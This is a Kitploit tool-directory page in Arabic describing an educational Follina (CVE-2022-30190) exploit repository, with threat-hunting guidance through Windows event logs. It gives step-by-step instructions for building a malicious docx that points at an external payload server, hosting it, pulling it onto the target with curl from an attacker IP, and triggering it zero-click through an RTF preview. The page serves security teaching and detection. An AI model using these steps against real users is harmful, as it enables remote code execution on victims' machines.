Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Follina_MSDT_CVE-2022-30190 — استغلال تعليمي لـ CVE-2022-30190 (Follina) يوضح تنفيذ التعليمات البرمجية عن بعد لـ MSDT عبر مستندات Office ضارة، مع إرشادات الكشف والتخفيف. | Kitploit
أدوات/GitHubGitHub/muhammad-ali007/follina_msdt_cve-2022-30190
أدوات دفاعيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتحقيق الجنائي الرقمياختبار الاختراقالقيادة والسيطرةالتعلم والتعليمالاستجابة للحوادث

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
تطوير الحمولات
مختبرات وتدريب عملي
GitHubmuhammad-ali007/follina_msdt_cve-2022-30190

Follina_MSDT_CVE-2022-30190

استغلال تعليمي لـ CVE-2022-30190 (Follina) يوضح تنفيذ التعليمات البرمجية عن بعد لـ MSDT عبر مستندات Office ضارة، مع إرشادات الكشف والتخفيف.

عرض المستودع
1212منذ 3 سنواتلم تتم المراجعة بعد
مشاركة

تشرح Microsoft أن "ثغرة تنفيذ التعليمات البرمجية عن بُعد موجودة عند استدعاء MSDT باستخدام بروتوكول URL من تطبيق مُتصل مثل Word. يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تشغيل تعليمات برمجية عشوائية بصلاحيات التطبيق المُتصل. يمكن للمهاجم بعد ذلك تثبيت البرامج، أو عرض البيانات أو تغييرها أو حذفها، أو إنشاء حسابات جديدة في السياق المسموح به بموجب حقوق المستخدم". (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)

تذكر Microsoft أن "أداة تشخيص الدعم من Microsoft (MSDT) تجمع المعلومات لإرسالها إلى دعم Microsoft. سيقومون بعد ذلك بتحليل هذه المعلومات واستخدامها لتحديد الحل لأي مشاكل قد تواجهها على جهاز الكمبيوتر الخاص بك". مع أخذ ذلك في الاعتبار، فهي في الأساس وسيلة لدعم Microsoft لرؤية المشكلة فورًا حيث يحصلون على جميع المعلومات التي يحتاجونها مباشرة من المصدر.

شرح الاستغلال

لنبدأ بإخلاء مسؤولية: لأغراضنا، سوف نقوم بتحميل الحمولة عبر مستند Word، وتحديدًا بصيغة .docx - هذا هو الاستغلال الأصلي الذي تم اكتشافه في البرية. ومع ذلك، فقد ثبت أن هذه الثغرة تعمل في عدد من منتجات Office الأخرى.

جانبان مهمان من هذه الثغرة هما: 1 - تحتوي ملفات docx محددة على مراجع كائنات OLE (اختصار Object Linking and Embedding أصلاً)، وأحيانًا تأخذ شكل ملفات HTML مستضافة في مكان آخر. 2 - يسمح MS-MSDT بتنفيذ التعليمات البرمجية.

بدمج الجانبين أعلاه، يمكن استخدام مخطط HTML لـ MS-MSDT لتنفيذ تعليمات PowerShell البرمجية، ويمكن استخدام ملف docx لتحميله عبر قدرة الإشارة الخارجية في Word.

بتفصيل أكثر، عند التعمق في بنية docx، يحتوي ملف "word/_rels/document.xml.rels" على علامة XML مع سمة Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" التي تصف مرجع كائن OLE خارجي. لاستغلال ميزة docx هذه، يمكننا تعديل محتويات هذه العلامة للإشارة بدلاً من ذلك إلى الحمولة التي نستضيفها عن طريق تغيير قيمة Target إلى http://<external_payload_server.com>/<payload.html> وقيمة TargetMode إلى "External".

في ملف word/document.xml، توجد علامة XML تبدأ بـ <o:OLEObject...> حيث يجب تغيير قيمة Type إلى "Link" ثم إضافة زوج المفتاح والقيمة للسمة UpdateMode="OnCall".

الشيء الوحيد المتبقي الآن هو استضافة الحمولة التي سيتصل بها ملف Word ويتلقى التعليمات منها عند فتح الملف. يتم ذلك عن طريق إنشاء ملف HTML ببنية مشابهة للتالي:

في محتويات ملف HTML أعلاه، ستلاحظ الأمر ms-msdt:/id PCWDiagnostic /skip force /param، بالإضافة إلى مفاتيح الأوامر التي يمكنك استخدامها لتعيين الأمر الذي تريد تنفيذه على الجهاز الهدف. يمكنك بعد ذلك مزج ومطابقة الحمولة وفقًا لأغراضك.

وبالتالي، لدينا الآن طريقة لتحقيق تنفيذ التعليمات البرمجية عن بُعد دون لمس أي وحدات ماكرو، وكما سنرى لاحقًا، حتى بدون فتح المستند الضار.

تركيز الاستغلال المتاح للجمهور (https://github.com/JohnHammond/msdt-follina) أنشأ John Hammond أداة لأتمتة عملية إنشاء مستند ضار (maldoc) وبالتالي استضافة ملف HTML الضار الذي يحتوي على الأمر الخبيث. الأداة موثقة في الرابط أعلاه، وسنستخدم نسخة متفرعة منها لفهم مفهوم الاستغلال الذي تم تناوله سابقًا بشكل أكبر.

افتح محطة طرفية، استنسخ هذا المستودع وقم بتغيير دليل العمل الخاص بك إلى حيث تم استنساخ مستودع msdt-follina. root@host:~/Follina-MSDT# python3 follina.py

عند تشغيل الاستغلال، يجب أن تكون قد قمت بالفعل باستضافة الملف، لذا فهو جاهز "للتسليم" إلى جهاز الضحية. مع إبقاء المحطة الطرفية الأصلية مفتوحة، افتح محطة طرفية أخرى وأدخل الأمر التالي لاستضافة الملفات على خادم: root@host:~/Follina-MSDT# python -m http.server 3456

على الجهاز الهدف، تابع لفتح موجه أوامر وأدخل الأمر التالي: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx

يقوم هذا بتنزيل المستند الضار على جهازنا، وبعد ذلك بوقت قصير، يجب أن ترى ملف Word المسمى follina.docx يظهر على سطح المكتب، جاهزًا للتشغيل. عندما تكون مستعدًا، افتح الملف وشاهد ما يحدث. في الوقت الحالي، دعنا نسمح للمستند الضار وكل ما نتج عنه بالاستمرار في العمل.

تنفيذ "النقرة الصفرية"

لتكرار تنفيذ "النقرة الصفرية" لهذه الثغرة، نتوجه ببساطة إلى ملف Word الضار، ونضيف رسالة لطيفة (اختيارية تمامًا)، ونحفظه بتنسيق Rich Text Format (RTF)، ونكون على ما يرام. يفترض هذا التنفيذ أن جهاز الضحية في وضع جزء المعاينة، وإلا فإنه سيعود إلى الوظيفة الأصلية التي ستظل تعمل عند فتح الملف.

افتح مستكشف الملفات وانتقل إلى مجلد سطح المكتب. هناك سترى الملف الذي يبدو صادقًا الذي صنعناه والذي يحتاج إلى النقر، تابع للنقر عليه مرة واحدة مع الحرص على عدم فتحه فعليًا وشاهد ما سيحدث.

على الرغم من عدم فتح الملف فعليًا، فقد عمل الاستغلال بنفس الطريقة التي عمل بها سابقًا في هذا التمرين. حدث هذا بسبب ميزتين رئيسيتين: 1 - ميزة مستكشف الملفات لمعاينة الملفات قبل فتحها. 2 - تنسيق RTF الذي يسمح بميزة إمكانية معاينة ملفات المستندات في مستكشف الملفات قبل فتحها (من بين أغراض أخرى).

دمج الاثنين ثم إساءة استخدامهما سيؤدي إلى ناقل هجوم شهدناه للتو الآن.

الكشف والتخفيف صيد التهديدات:

تم تكوين جهاز Windows الذي استخدمناه لدراسة استغلال الثغرة مسبقًا لتمكين التسجيل لـ:

  • تدقيق إنشاء العمليات
  • تدقيق سطر أوامر العملية
  • تسجيل كتلة البرنامج النصي

آليات التدقيق هذه غير مهيأة افتراضيًا، وبالتالي من الضروري تشغيلها في بيئاتك الخاصة للمساعدة في اكتشاف السلوك المشبوه، والمساعدة في الحفاظ على البيانات القيمة متاحة للمحققين الجنائيين.

خلال العملية السابقة، حددنا عددًا من عمليات إنشاء العمليات المثيرة للاهتمام عند استغلال الثغرة. يتم تسجيل عمليات إنشاء العمليات هذه في سجلات أمان Windows، جاهزة للتحليل عبر عارضك المفضل، أو إعادة توجيهها إلى مجمع سجلات مركزي لمعالجتها ثم استخدامها لاحقًا.

لهذه المهمة سنستخدم Event Log Viewer for Windows من Nirsoft للتحقق من عمليات إنشاء العمليات التي حددناها سابقًا. سنبحث بعد ذلك عن التفاصيل داخل عمليات إنشاء العمليات هذه التي يمكننا استخدامها للبحث عن أدلة في سجلات الأحداث الأخرى لشرح أفضل لما حدث خلف الكواليس.

تابع لفتح FullEventLogView. اذهب إلى View > Use Quick Filter. يجب أن يظهر شريط بحث أعلى السجلات مما يسمح لنا بإجراء عمليات بحث سريعة. نظرًا لأننا أردنا التحقق من تفاصيل عمليات إنشاء العمليات لدينا، يمكننا النقر على القائمة المنسدلة في أقصى اليسار واختيار Find Event ID (space/comma...)، ثم كتابة 4688 في شريط البحث المقدم.

يجب أن تملأ الشاشة بأحداث إنشاء العمليات وستلاحظ فورًا وجود عدد هائل منها، على الرغم من التفاعل الضئيل مع الجهاز.

أول قطعة أثرية سنتحقق منها هي winword.exe - فهم تدفق الأحداث من هذه العملية يعطينا فكرة عن كيفية تصرف عملية Office بشكل عام في سياق استغلال msdt. اضغط Ctrl+F لاستدعاء وظيفة البحث واكتب winword.

أول إدخال ستراه على الأرجح هو الإدخال الذي يكون فيه WINWORD.EXE هو العملية الجديدة التي تم إنشاؤها، ويتم تحديدها بواسطة التفصيل: New Process Name. تشير هذه العملية إلى فتح ملف follina.docx، عبر التفصيل: Process Command Line. من الطبيعي تمامًا ألا تبدو متطابقة تمامًا. انقر على زر Find Next حتى تجد إدخالاً يبدو كأمر "ms-msdt" طويل (باورشيل).

هنا سنرى أن WINWORD.EXE هو العملية المنشئة، المعروفة باسم العملية الأصلية لـ msdt.exe. لاحظ إدخال سطر الأوامر الطويل الذي يحتوي على عدة أوامر cmdlets لـ PowerShell (تُنطق command-lets) بالإضافة إلى عدة عمليات تنقل عبر الدلائل. رؤية هذا بمفرده في بيئتك يجب أن يرفع أعلامًا حمراء فورية. إحدى النقاط المجانية التي يمكننا النظر إليها عن كثب هنا هي السلسلة Y2FsYw== التي عند فك تشفيرها ستؤدي إلى السلسلة calc.

نظرًا لأننا رأينا أوامر cmdlets لـ PowerShell، فمن المنطقي تصفية أحداث PowerShell لمزيد من التحقق من هذا الدليل. نظرًا لوجود العديد من معرفات الأحداث الفريدة التي تسجل أحداث PowerShell، يمكننا التصفية عبر Provider. اذهب إلى Options > Advanced Options. انقر على القائمة المنسدلة الثانية واختر Show only the specific providers (comma-delimited...). اكتب PowerShell محاطًا بعلامات البدل (*) بحيث يتم تضمين جميع المزودين المتعلقين بـ PowerShell.

امسح مربع "Quick Filter" الخاص بـ 4688 الذي أدخلناه سابقًا، ويجب أن تملأ الشاشة بالأحداث التي تأتي حصريًا من مزودي PowerShell. من هنا، يمكننا تصفية الأحداث عبر جزء من أمر PowerShell الذي لاحظناه أعلاه.

تنزيل الأداة